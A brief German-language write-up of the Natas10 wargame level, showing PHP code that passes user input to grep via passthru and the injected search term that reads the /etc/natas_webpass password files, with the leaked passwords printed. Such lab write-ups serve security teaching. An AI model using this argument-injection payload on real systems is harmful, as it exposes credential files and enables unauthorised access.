Aktualisiert am: 2022-08-03

Command Injection

Enumeration

Challenge

Dasselbe vorgehen für Natas9 funktioniert auch für Natas10, da unser “Pattern” von den zusätzlichen Restriktionen nicht erfasst wird

  • Der Parameter $key darf bestimmte Zeichen (;, |, &) nicht enthalten, bevor er an grep übergeben wird

     if($key != "") {
         if(preg_match('/[;|&]/',$key)) {
             print "Input contains an illegal character!";
         } else {
             passthru("grep -i $key dictionary.txt");
         }
     }
    

Exploitation

Somit lautet unser Suchbegriff auch hier

. /etc/natas_webpass/natas*
Output:
/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
dictionary.txt:African
...